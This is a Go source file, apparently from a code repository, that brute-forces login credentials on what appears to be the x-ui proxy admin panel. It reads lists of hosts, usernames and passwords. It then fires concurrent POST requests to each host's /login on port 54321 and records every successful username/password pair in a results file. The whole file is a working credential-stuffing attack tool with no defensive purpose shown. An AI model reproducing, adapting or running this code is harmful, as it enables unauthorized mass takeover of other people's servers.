/
xuiLogin.go
131 lines (115 loc) · 3.49 KB
/
xuiLogin.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
package main
import (
"bufio"
"fmt"
"io/ioutil"
"net/http"
"net/url"
_ "net/url"
"os"
"strings"
"sync"
"time"
)
func main() {
var wg sync.WaitGroup
// URL 字典文件的路径
urlDictFile := "urls.txt"
// 用户名字典文件的路径
userDictFile := "usernames.txt"
// 密码字典文件的路径
passDictFile := "passwords.txt"
// 结果文件的路径
resultFile := "results.txt"
// 打开结果文件
outputFile, err := os.Create(resultFile)
if err != nil {
fmt.Printf("Error: %v\n", err)
return
}
defer outputFile.Close()
// 创建一个 Writer 对象,用于将结果写入文件
writer := bufio.NewWriter(outputFile)
defer writer.Flush()
// 打开 URL 字典文件
urlFile, err := os.Open(urlDictFile)
if err != nil {
fmt.Printf("Error: %v\n", err)
return
}
defer urlFile.Close()
client := http.Client{
Timeout: 5 * time.Second,
}
// 创建一个 Scanner 对象,用于逐行读取 URL 字典文件
urlScanner := bufio.NewScanner(urlFile)
for urlScanner.Scan() {
// 逐行读取 URL 字典文件,并提取 URL 地址
sUrl := urlScanner.Text()
targetURl := "http://" + sUrl + ":54321"
// 打开用户名字典文件
userFile, err := os.Open(userDictFile)
if err != nil {
fmt.Printf("Error: %v\n", err)
return
}
defer userFile.Close()
// 打开密码字典文件
passFile, err := os.Open(passDictFile)
if err != nil {
fmt.Printf("Error: %v\n", err)
return
}
defer passFile.Close()
// 创建一个 Scanner 对象,用于逐行读取用户名字典文件
userScanner := bufio.NewScanner(userFile)
for userScanner.Scan() {
// 逐行读取用户名字典文件,并提取用户名
username := userScanner.Text()
// 创建一个 Scanner 对象,用于逐行读取密码字典文件
passScanner := bufio.NewScanner(passFile)
for passScanner.Scan() {
// 逐行读取密码字典文件,并提取密码
password := passScanner.Text()
wg.Add(1)
go func(targetURl, username, password string) {
defer wg.Done()
// 创建一个 POST 请求
resp, err := client.PostForm(targetURl+"/login", url.Values{
"username": {username},
"password": {password},
})
if err != nil {
fmt.Printf("Error: %v\n", err)
return
}
body, err := ioutil.ReadAll(resp.Body) //使用ioutil.readall将resp.body中的数据读取出来,并使用body接受
if err != nil {
fmt.Println(err)
} //处理错误
fmt.Println(targetURl + "-----" + string(body)) //将body转换成字符串,然后进行打印
// 将请求结果写入文件
//fmt.Fprintf(writer, "url: %v username: %v password: %v body: %v\n", targetURl, username, password, string(body))
if strings.Contains(string(body), "true") {
writer.WriteString(targetURl + " username:" + username + " password:" + password + " resp:" + string(body) + "\n")
writer.Flush()
}
// 将结果保存到文件
/*f, err := os.OpenFile("results.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Println("Failed to open file:", err)
return
}
defer f.Close()
if _, err := f.WriteString(targetURl + " username:" + username + " password:" + password + " resp:" + string(body) + "\n"); err != nil {
fmt.Println("Failed to write to file:", err)
return
}*/
}(targetURl, username, password)
}
// 重新定位密码字典文件的读取位置,以便下一个用户名可以重新使用它
passFile.Seek(0, 0)
}
}
wg.Wait()
}